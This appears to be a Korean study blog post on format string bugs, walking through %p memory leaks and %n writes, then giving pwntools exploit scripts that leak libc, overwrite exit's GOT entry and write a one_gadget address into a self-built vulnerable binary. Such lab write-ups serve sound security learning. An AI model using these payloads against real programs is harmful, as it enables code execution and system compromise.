지금까지 미뤄뒀던 fsb 쪽을 공부해보았다.
아직 많이 미흡하지만 이후에도 여러 문제를 풀면서 여러 정보를 추가할 예정이다.
Format String Bug
FSB(Format String Bug) : 포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점이며, 포맷팅을 수행하는 printf() 같은 특정한 C 함수들에서 사용자 입력을 포맷 스트링 파라미터 (%d, %n ...)로 사용하는 것으로부터 나온다.
-
피라미터 종류
위와 같은 피라미터를 입력하면 어떤 일이 일어나는지 예제를 통해 알아보려 한다.
TEST CODE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
char buf[300];
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("input: ");
read(0, buf, 300);
printf(buf);
exit(0);
}
컴파일 후 프로그램을 실행하여 피라미터 값을 입력해본다.
입력해보면 위와 같은 출력 결과를 얻을 수 있다. (%lx = 8바이트 16진수 출력)
그렇다면 저 7ffec73d5790 이나 12c 값은 어디에 위치한 값을 출력하는 것인지 알아보자
위와 같이 A*8 와 %p를 10개 정도 입력을 해주었다.
A를 넣어준 것은 피라미터 값으로 인한 출력 중 내가 입력한 A값이 어디에 위치한 지 확인하려고 입력을 해준 것이다. (문제를 풀 때도 같은 방법으로 offset을 구한다.)
출력 결과를 알아보자면 먼저 입력한 A * 8개 가 출력이 되고 이후에 레지스터가 출력이 된다.
32bit 에서는 레지스터는 출력이 되지 않지만 64bit는 함수 호출 규약으로 인해 레지스터를 인자로 활용하기 때문에 레지스터 이후 스택이 출력된다. 참고로 %rdi, %rsi, %rdx, %rcx, %r8, %r9 순서로 출력된다.
레지스터 출력 이후 $rsp를 기준으로 차례대로 출력이된다.
%p로 rsp(0x7fffffffdf40) 출력 이후 rsp+8, rsp+16 ... 출력된다.
여기까지 피라미터 값을 이용하면 어떻게 출력이 되는지 알 수 있었다.
이를 이용하여 memory leak을 할 수 있지만 어떻게 공격까지 진행을 할 수 있을까? 이는 바로 %n을 이용하는 것이다.
%n = 출력한 문자열의 개수를 특정 메모리에 써준다.
간단한 예시
-
TEST CODE
#include <stdio.h> int main(){ int num=0, num2 = 0; printf("Size Check%n Test Case!!!!%n\n", &num, &num2); printf("size num : %d\nsize num2 : %d\n", num, num2); }
위와 같은 코드를 컴파일하여 실행해보면 결과는 다음과 같다.
num에는 Size Check
총 10이 저장되었고 num2에는 Size Check Test Case!!!!
총 24가 저장되어 출력된 것을 확인할 수 있다.
이 %n은 다음과 같이 이용할 수 있다.
다음 그림은 이전 A*8개 입력 대신 exit_got주소를 입력했을 때 그림으로 표현한 것이다.
이 때 %6$n을 입력했다면 exit_got주소에 출력된 문자만큼 입력이 된다. 공격 과정에서는 이를 이용하여 원하는 곳에 overwrite를 진행하는 것이다.
Exploit
공격은 다음 코드로 진행한다.
-
TEST CODE
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void) { char buf[300]; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); printf("input: "); read(0, buf, 300); printf(buf); exit(0); }
gcc -no-pie -o fsb64 fsb64.c
Exploit Scenario
- 첫 번째 입력에서는 두 가지를 목표로 한다.
- libc_start_main을 leak 하는 것으로 libc_base를 구한다.
- exit_got를 main함수 주소로 overwrite 한다.
- libc_base를 이용하여 one_gadget 주소를 구한 뒤 exit_got에 one_gadget 주소를 overwrite 한다.
- 끝
Exploit code
Libc_start_main leak
64bit FSB에서는 RET에 위치한 libc_start_main을 leak 하여 libc_base를 구한다.
0x7fffffffe060 = canary, 0x7fffffffe078 = RET인 것을 확인할 수 있고
0x7fffffffe078에 위치한 0x00007ffff7e15bbb값은 __libc_start_main에서 235를 더한 값인 것을 확인할 수 있다. 이를 leak 하여 libc_base를 구할 수 있는 것이다.
Exit_got overwrite
먼저 exit 함수의 got를 이용하는 이유는 exit 함수가 가장 마지막에 호출되어 이용하기 편하기 때문이다.
이는 함수가 호출되기 전 / 후의 got를 확인해보면 쉽게 알 수 있다.
위와 같이 호출 전에는 총 3바이트만 바꾸어 주면 되지만 호출 후에는 총 6바이트를 바꾸어 주어야 하기 때문에 exit의 got를 이용하는 것이다.
여기까지 내용을 간단하게 코드를 짜 보면 다음과 같다.
from pwn import *
context.log_level = 'debug'
p=process("./fsb64")
exit_got = 0x404030
main = 0x401152
libc_start_main_offset = 0x26ad0
main_low = main & 0xffff
#offset = 5
py = ''
py += '%{}c'.format(main_low)
py += '%9$hn'
py += '%47$p'
py += 'A'*(8-len(py)%8) #주소를 정확하게 지정하기 위해 패딩 처리를 해준다.
print len(py)
py += p64(exit_got) # 64bit에서는 주소에 NULL이 포함되기 때문에 뒤에 써준다.
p.sendlineafter("input:", py)
p.recvuntil("0x")
leak = int(p.recvuntil("A")[:-1],16)
libc_base = leak - 235 - libc_start_main_offset
print hex(leak)
print hex(libc_base)
p.interactive()
코드 실행으로 libc_base를 구하고 exit_got에 main 주소를 overwrite 해준 것으로 main이 다시 호출된 것을 확인할 수 있다.
One_gadget overwrite
libc_base를 구했으니 one_gadget을 구하는 것은 쉽지만 overwrite 할 때 주의할 점이 있다.
overwrite는 %hn으로 하위 2바이트씩 진행을 하는데 만약 0x7f1122334455 이라고 하면 먼저 0x4455를 %hn으로 써준 후 0x2233을 써줘야 할 텐데 0x4455가 0x2233보다 큼으로 0x10000을 0x2233에 더한 후 0x4455를 빼는 것으로 이를 해결할 수 있다.
반대로 0x7 f5544332211이라고 하면 0x2211을 써준 후 0x4433을 써줄 때는 0x4433-0x2211을 이용하여 써주면 된다.
%n이 아닌 %hn으로 2바이트씩 하는 이유는 4바이트는 너무 많은 시간이 걸려 2바이트씩 진행한다고 한다.
Exploit code
from pwn import *
# context.log_level = 'debug'
p=process("./fsb64")
exit_got = 0x404030
main = 0x401152
libc_start_main_offset = 0x26ad0
main_low = main & 0xffff
#offset = 6
py = ''
py += '%{}c'.format(main_low)
py += '%9$hn'
py += '%47$p'
py += 'A'*(8-len(py)%8)
print len(py)
py += p64(exit_got)
p.sendlineafter("input:", py)
p.recvuntil("0x")
leak = int(p.recvuntil("A")[:-1],16)
libc_base = leak - 235 - libc_start_main_offset
one_gadget = libc_base + 0xe652b #0xc83c0 #0xe652b
print hex(one_gadget)
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff
low = one_gadget_low
if one_gadget_middle > one_gadget_low:
middle = one_gadget_middle - one_gadget_low
else:
middle = 0x10000 + one_gadget_middle - one_gadget_low
if one_gadget_high > one_gadget_middle:
high = one_gadget_high - one_gadget_middle
else:
high = 0x10000 + one_gadget_high - one_gadget_middle
py2 = ''
py2 += '%{}c'.format(low)
py2 += '%11$hn'
py2 += '%{}c'.format(middle)
py2 += '%12$hn'
py2 += '%{}c'.format(high)
py2 += '%13$hn'
py2 += 'A'*(8-len(py2)%8)
print len(py2)
py2 += p64(exit_got)
py2 += p64(exit_got+2)
py2 += p64(exit_got+4)
p.sendlineafter("input:", py2)
p.interactive()
Reference
'Tech > exploit' 카테고리의 다른 글
exit함수를 이용한 exploit (0) | 2020.03.26 |
---|